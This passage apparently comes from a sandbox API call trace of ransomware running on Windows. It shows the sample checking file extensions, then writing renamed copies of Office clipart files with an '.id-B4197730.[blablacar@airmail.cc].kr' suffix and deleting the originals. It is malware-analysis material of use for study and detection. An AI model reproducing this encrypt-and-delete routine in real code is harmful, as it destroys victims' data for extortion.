-1 [0213.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68 [0213.385] lstrlenW (lpString=".zip") returned 4 [0213.385] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0213.385] lstrlenW (lpString=".rar") returned 4 [0213.385] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0213.385] lstrlenW (lpString=".bz2") returned 4 [0213.385] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0213.385] lstrlenW (lpString=".7z") returned 3 [0213.385] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0213.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68 [0213.385] lstrlenW (lpString=".dbf") returned 4 [0213.385] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0213.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68 [0213.385] lstrlenW (lpString=".1cd") returned 4 [0213.385] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0213.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68 [0213.385] lstrlenW (lpString=".jpg") returned 4 [0213.385] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0213.385] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0213.386] lstrlenW (lpString="J0107528.WMF") returned 12 [0213.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107528.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0213.386] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=6792) returned 1 [0213.386] CloseHandle (hObject=0x564) returned 1 [0213.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107528.wmf")) returned 0x220 [0213.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107528.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0213.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107528.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0213.387] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0213.387] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0213.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107528.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0213.388] GetLastError () returned 0x0 [0213.388] ReadFile (in: hFile=0x564, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x1a88, lpOverlapped=0x0) returned 1 [0213.389] WriteFile (in: hFile=0x4d8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x1a90, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x1a90, lpOverlapped=0x0) returned 1 [0213.390] ReadFile (in: hFile=0x564, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0213.390] WriteFile (in: hFile=0x4d8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0213.390] SetEndOfFile (hFile=0x4d8) returned 1 [0213.390] CloseHandle (hObject=0x4d8) returned 1 [0213.391] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0213.391] SetEndOfFile (hFile=0x564) returned 1 [0213.393] CloseHandle (hObject=0x564) returned 1 [0213.393] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0213.393] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107528.wmf")) returned 1 [0213.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0213.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0213.394] lstrlenW (lpString=".doc") returned 4 [0213.394] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0213.394] lstrlenW (lpString=".docx") returned 5 [0213.394] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0213.394] lstrlenW (lpString=".pdf") returned 4 [0213.394] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0213.394] lstrlenW (lpString=".xls") returned 4 [0213.394] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0213.394] lstrlenW (lpString=".xlsx") returned 5 [0213.394] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0213.394] lstrlenW (lpString=".ppt") returned 4 [0213.394] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0213.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0213.395] lstrlenW (lpString=".zip") returned 4 [0213.395] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0213.395] lstrlenW (lpString=".rar") returned 4 [0213.395] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0213.395] lstrlenW (lpString=".bz2") returned 4 [0213.395] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0213.395] lstrlenW (lpString=".7z") returned 3 [0213.395] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0213.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0213.395] lstrlenW (lpString=".dbf") returned 4 [0213.395] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0213.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0213.395] lstrlenW (lpString=".1cd") returned 4 [0213.395] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0213.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0213.395] lstrlenW (lpString=".jpg") returned 4 [0213.395] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0213.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0213.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0213.395] lstrlenW (lpString=".doc") returned 4 [0213.395] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0213.395] lstrlenW (lpString=".docx") returned 5 [0213.395] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0213.395] lstrlenW (lpString=".pdf") returned 4 [0213.395] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0213.395] lstrlenW (lpString=".xls") returned 4 [0213.395] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0213.395] lstrlenW (lpString=".xlsx") returned 5 [0213.395] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0213.395] lstrlenW (lpString=".ppt") returned 4 [0213.395] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0213.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0213.396] lstrlenW (lpString=".zip") returned 4 [0213.396] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0213.396] lstrlenW (lpString=".rar") returned 4 [0213.396] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0213.396] lstrlenW (lpString=".bz2") returned 4 [0213.396] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0213.396] lstrlenW (lpString=".7z") returned 3 [0213.396] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0213.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0213.396] lstrlenW (lpString=".dbf") returned 4 [0213.396] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0213.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0213.396] lstrlenW (lpString=".1cd") returned 4 [0213.396] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0213.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0213.396] lstrlenW (lpString=".jpg") returned 4 [0213.396] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0213.396] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0213.396] lstrlenW (lpString="J0107544.WMF") returned 12 [0213.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107544.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0213.651] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=26768) returned 1 [0213.651] CloseHandle (hObject=0x51c) returned 1 [0213.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107544.wmf")) returned 0x220 [0213.652] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107544.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0213.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107544.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0213.652] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0213.652] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0213.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107544.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0213.653] GetLastError () returned 0x0 [0213.653] ReadFile (in: hFile=0x51c, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x6890, lpOverlapped=0x0) returned 1 [0213.656] WriteFile (in: hFile=0x554, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x68a0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x68a0, lpOverlapped=0x0) returned 1 [0213.657] ReadFile (in: hFile=0x51c, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0213.657] WriteFile (in: hFile=0x554, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0213.657] SetEndOfFile (hFile=0x554) returned 1 [0213.657] CloseHandle (hObject=0x554) returned 1 [0213.657] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0213.657] SetEndOfFile (hFile=0x51c) returned 1 [0213.660] CloseHandle (hObject=0x51c) returned 1 [0213.660] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0213.661] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107544.wmf")) returned 1 [0213.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0213.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0213.661] lstrlenW (lpString=".doc") returned 4 [0213.661] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0213.661] lstrlenW (lpString=".docx") returned 5 [0213.662] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0213.662] lstrlenW (lpString=".pdf") returned 4 [0213.662] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0213.662] lstrlenW (lpString=".xls") returned 4 [0213.662] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0213.662] lstrlenW (lpString=".xlsx") returned 5 [0213.662] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0213.662] lstrlenW (lpString=".ppt") returned 4 [0213.662] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0213.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0213.662] lstrlenW (lpString=".zip") returned 4 [0213.662] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0213.662] lstrlenW (lpString=".rar") returned 4 [0213.662] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0213.662] lstrlenW (lpString=".bz2") returned 4 [0213.662] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0213.662] lstrlenW (lpString=".7z") returned 3 [0213.662] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0213.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0213.662] lstrlenW (lpString=".dbf") returned 4 [0213.662] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0213.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0213.662] lstrlenW (lpString=".1cd") returned 4 [0213.662] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0213.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0213.662] lstrlenW (lpString=".jpg") returned 4 [0213.662] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0213.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0213.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0213.662] lstrlenW (lpString=".doc") returned 4 [0213.663] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0213.663] lstrlenW (lpString=".docx") returned 5 [0213.663] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0213.663] lstrlenW (lpString=".pdf") returned 4 [0213.663] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0213.663] lstrlenW (lpString=".xls") returned 4 [0213.663] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0213.663] lstrlenW (lpString=".xlsx") returned 5 [0213.663] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0213.663] lstrlenW (lpString=".ppt") returned 4 [0213.663] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0213.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0213.663] lstrlenW (lpString=".zip") returned 4 [0213.663] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0213.663] lstrlenW (lpString=".rar") returned 4 [0213.663] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0213.663] lstrlenW (lpString=".bz2") returned 4 [0213.663] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0213.663] lstrlenW (lpString=".7z") returned 3 [0213.663] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0213.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0213.663] lstrlenW (lpString=".dbf") returned 4 [0213.663] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0213.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0213.663] lstrlenW (lpString=".1cd") returned 4 [0213.663] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0213.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0213.663] lstrlenW (lpString=".jpg") returned 4 [0213.663] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0213.663] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0213.664] lstrlenW (lpString="J0107718.WMF") returned 12 [0213.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107718.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0213.664] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=3800) returned 1 [0213.664] CloseHandle (hObject=0x51c) returned 1 [0213.664] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107718.wmf")) returned 0x220 [0213.664] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107718.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0213.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107718.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0213.665] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0213.665] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0213.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107718.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0213.666] GetLastError () returned 0x0 [0213.666] ReadFile (in: hFile=0x51c, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0xed8, lpOverlapped=0x0) returned 1 [0213.667] WriteFile (in: hFile=0x554, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xee0, lpOverlapped=0x0) returned 1 [0213.668] ReadFile (in: hFile=0x51c, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0213.668] WriteFile (in: hFile=0x554, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0213.668] SetEndOfFile (hFile=0x554) returned 1 [0213.668] CloseHandle (hObject=0x554) returned 1 [0213.668] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0213.668] SetEndOfFile (hFile=0x51c) returned 1 [0213.672] CloseHandle (hObject=0x51c) returned 1 [0213.672] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0213.672] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107718.wmf")) returned 1 [0213.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0213.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0213.674] lstrlenW (lpString=".doc") returned 4 [0213.674] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0213.674] lstrlenW (lpString=".docx") returned 5 [0213.674] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0213.674] lstrlenW (lpString=".pdf") returned 4 [0213.674] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0213.674] lstrlenW (lpString=".xls") returned 4 [0213.674] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0213.674] lstrlenW (lpString=".xlsx") returned 5 [0213.674] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0213.674] lstrlenW (lpString=".ppt") returned 4 [0213.674] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0213.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0213.674] lstrlenW (lpString=".zip") returned 4 [0213.674] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0213.674] lstrlenW (lpString=".rar") returned 4 [0213.674] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0213.675] lstrlenW (lpString=".bz2") returned 4 [0213.675] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0213.675] lstrlenW (lpString=".7z") returned 3 [0213.675] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0213.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0213.675] lstrlenW (lpString=".dbf") returned 4 [0213.675] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0213.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0213.675] lstrlenW (lpString=".1cd") returned 4 [0213.675] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0213.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0213.675] lstrlenW (lpString=".jpg") returned 4 [0213.675] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0213.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0213.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0213.675] lstrlenW (lpString=".doc") returned 4 [0213.675] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0213.675] lstrlenW (lpString=".docx") returned 5 [0213.675] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0213.675] lstrlenW (lpString=".pdf") returned 4 [0213.675] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0213.675] lstrlenW (lpString=".xls") returned 4 [0213.675] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0213.675] lstrlenW (lpString=".xlsx") returned 5 [0213.675] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0213.675] lstrlenW (lpString=".ppt") returned 4 [0213.675] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0213.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0213.675] lstrlenW (lpString=".zip") returned 4 [0213.675] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0213.675] lstrlenW (lpString=".rar") returned 4 [0213.675] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0213.675] lstrlenW (lpString=".bz2") returned 4 [0213.675] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0213.676] lstrlenW (lpString=".7z") returned 3 [0213.676] lstrcmpiW (lpString1=".7z", 